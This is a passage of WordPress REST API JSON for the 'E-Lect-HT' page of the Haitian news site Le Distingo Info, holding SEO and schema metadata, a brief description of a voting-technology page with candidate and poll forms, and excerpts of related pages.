E-Lect-HT\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/e-lect-ht\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/ledistingoinfo.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"E-Lect-HT\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/#website\",\"url\":\"https:\\\/\\\/ledistingoinfo.com\\\/\",\"name\":\"Le Distingo Info\",\"description\":\"Eclairons les id\u00e9es- Distinguons les v\u00e9rit\u00e9s   \",\"publisher\":{\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/ledistingoinfo.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/#organization\",\"name\":\"Le Distingo Info\",\"url\":\"https:\\\/\\\/ledistingoinfo.com\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/ledistingoinfo.com\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/LE-DISTINGO-INFO-scaled.png?fit=2560%2C1978&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/ledistingoinfo.com\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/LE-DISTINGO-INFO-scaled.png?fit=2560%2C1978&ssl=1\",\"width\":2560,\"height\":1978,\"caption\":\"Le Distingo Info   \"},\"image\":{\"@id\":\"https:\\\/\\\/ledistingoinfo.com\\\/#\\\/schema\\\/logo\\\/image\\\/\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"E-Lect-HT - Le Distingo Info","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/ledistingoinfo.com\/e-lect-ht\/","og_locale":"fr_FR","og_type":"article","og_title":"E-Lect-HT - Le Distingo Info","og_description":"E-Lect-HT La technologie au service du vote et la d\u00e9mocratie Nous virtualisons l&rsquo;\u00e9lectorat ha\u00eftien \ud83d\udcdd Fiche candidat \ud83d\udccb Candidats \ud83d\uddf3\ufe0f Sondage Nom complet * Parti politique (laisser vide ou \u00ab\u00a0Ind\u00e9pendant\u00a0\u00bb) Num\u00e9ro du parti (si le parti en a d\u00e9j\u00e0 un) \u00c0 laisser vide si ind\u00e9pendant ou si le parti n&rsquo;a pas encore de num\u00e9ro. Logo [&hellip;]","og_url":"https:\/\/ledistingoinfo.com\/e-lect-ht\/","og_site_name":"Le Distingo Info","article_modified_time":"2026-09-16T17:21:07+00:00","og_image":[{"width":1254,"height":810,"url":"https:\/\/ledistingoinfo.com\/wp-content\/uploads\/2026\/09\/10031251248107045242313101288-e1789579175147.png","type":"image\/png"}],"twitter_card":"summary_large_image","twitter_misc":{"Dur\u00e9e de lecture estim\u00e9e":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/ledistingoinfo.com\/e-lect-ht\/","url":"https:\/\/ledistingoinfo.com\/e-lect-ht\/","name":"E-Lect-HT - Le Distingo Info","isPartOf":{"@id":"https:\/\/ledistingoinfo.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/ledistingoinfo.com\/e-lect-ht\/#primaryimage"},"image":{"@id":"https:\/\/ledistingoinfo.com\/e-lect-ht\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/ledistingoinfo.com\/wp-content\/uploads\/2026\/09\/10031251248107045242313101288-e1789579175147.png?fit=1254%2C810&ssl=1","datePublished":"2026-09-12T15:36:54+00:00","dateModified":"2026-09-16T17:21:07+00:00","breadcrumb":{"@id":"https:\/\/ledistingoinfo.com\/e-lect-ht\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/ledistingoinfo.com\/e-lect-ht\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/ledistingoinfo.com\/e-lect-ht\/#primaryimage","url":"https:\/\/i0.wp.com\/ledistingoinfo.com\/wp-content\/uploads\/2026\/09\/10031251248107045242313101288-e1789579175147.png?fit=1254%2C810&ssl=1","contentUrl":"https:\/\/i0.wp.com\/ledistingoinfo.com\/wp-content\/uploads\/2026\/09\/10031251248107045242313101288-e1789579175147.png?fit=1254%2C810&ssl=1","width":1254,"height":810,"caption":"Logo officiel: E-Lect-HT"},{"@type":"BreadcrumbList","@id":"https:\/\/ledistingoinfo.com\/e-lect-ht\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/ledistingoinfo.com\/"},{"@type":"ListItem","position":2,"name":"E-Lect-HT"}]},{"@type":"WebSite","@id":"https:\/\/ledistingoinfo.com\/#website","url":"https:\/\/ledistingoinfo.com\/","name":"Le Distingo Info","description":"Eclairons les id\u00e9es- Distinguons les v\u00e9rit\u00e9s   ","publisher":{"@id":"https:\/\/ledistingoinfo.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/ledistingoinfo.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/ledistingoinfo.com\/#organization","name":"Le Distingo Info","url":"https:\/\/ledistingoinfo.com\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/ledistingoinfo.com\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/ledistingoinfo.com\/wp-content\/uploads\/2025\/10\/LE-DISTINGO-INFO-scaled.png?fit=2560%2C1978&ssl=1","contentUrl":"https:\/\/i0.wp.com\/ledistingoinfo.com\/wp-content\/uploads\/2025\/10\/LE-DISTINGO-INFO-scaled.png?fit=2560%2C1978&ssl=1","width":2560,"height":1978,"caption":"Le Distingo Info   "},"image":{"@id":"https:\/\/ledistingoinfo.com\/#\/schema\/logo\/image\/"}}]}},"jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":87,"url":"https:\/\/ledistingoinfo.com\/contactez-nous\/","url_meta":{"origin":889,"position":0},"title":"Contactez- nous","author":"Le Distingo Info","date":"10 septembre 2025","format":false,"excerpt":"Le Distingo Info Contactez-nous Une question, une information \u00e0 transmettre, une suggestion, une proposition de collaboration ou une demande commerciale ? L\u2019\u00e9quipe du Distingo Info reste \u00e0 votre \u00e9coute. 01 Contacter la r\u00e9daction Transmettre une information, proposer un sujet ou signaler un \u00e9l\u00e9ment susceptible d\u2019int\u00e9resser notre r\u00e9daction. 02 Collaboration &\u2026","rel":"","context":"Article similaire","block_context":{"text":"Article similaire","link":""},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":1027,"url":"https:\/\/ledistingoinfo.com\/annoncez-avec-nous\/","url_meta":{"origin":889,"position":1},"title":"Publicit\u00e9 &amp; Partenariats","author":"Le Distingo Info","date":"15 septembre 2026","format":false,"excerpt":"Publicit\u00e9 & partenariats Annoncez avec Le Distingo Info Vous souhaitez faire conna\u00eetre votre entreprise, votre activit\u00e9, votre \u00e9v\u00e9nement ou votre produit ? Le Distingo Info met \u00e0 votre disposition diff\u00e9rents formats de visibilit\u00e9 adapt\u00e9s \u00e0 vos objectifs de communication. Nos formats disponibles Nous proposons plusieurs solutions permettant aux entreprises, organisations,\u2026","rel":"","context":"Article similaire","block_context":{"text":"Article similaire","link":""},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":992,"url":"https:\/\/ledistingoinfo.com\/a-propos\/","url_meta":{"origin":889,"position":2},"title":"\u00c0 propos","author":"Le Distingo Info","date":"15 septembre 2026","format":false,"excerpt":"M\u00e9dia ha\u00eftien \u00b7 Information \u00b7 Soci\u00e9t\u00e9 Le Distingo Info \u00c9clairons les id\u00e9es, distinguons les v\u00e9rit\u00e9s. Le Distingo Info est un m\u00e9dia en ligne ha\u00eftien consacr\u00e9 \u00e0 l\u2019information, \u00e0 l\u2019analyse et \u00e0 la valorisation des r\u00e9alit\u00e9s qui fa\u00e7onnent la soci\u00e9t\u00e9 ha\u00eftienne. Lanc\u00e9 le 25 octobre 2025, Le Distingo Info \u00e9volue dans\u2026","rel":"","context":"Article similaire","block_context":{"text":"Article similaire","link":""},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":836,"url":"https:\/\/ledistingoinfo.com\/","url_meta":{"origin":889,"position":3},"title":"Accueil","author":"Le Distingo Info","date":"5 septembre 2026","format":false,"excerpt":"\ud83d\udcb1 TAUX DE CHANGE Chargement des taux... Distingo 360\u00b0 L\u2019essentiel en un coup d\u2019\u0153il \ud83c\udf24\ufe0f M\u00c9T\u00c9O \ud83c\udf24\ufe0f --\u00b0C Chargement... Humidit\u00e9 : --% \ud83d\udccd Port-au-Prince \ud83d\udcc8 MARCH\u00c9S \ud83d\udee2\ufe0f Brent \ud83d\udee2\ufe0f WTI Prix du p\u00e9trole \u00b7 USD\/baril \ud83d\udcd6 MOT DU JOUR Audace Courage de prendre des risques ou de faire face aux\u2026","rel":"","context":"Article similaire","block_context":{"text":"Article similaire","link":""},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]}],"_links":{"self":[{"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/pages\/889","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/comments?post=889"}],"version-history":[{"count":10,"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/pages\/889\/revisions"}],"predecessor-version":[{"id":918,"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/pages\/889\/revisions\/918"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/media\/921"}],"wp:attachment":[{"href":"https:\/\/ledistingoinfo.com\/wp-json\/wp\/v2\/media?parent=889"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}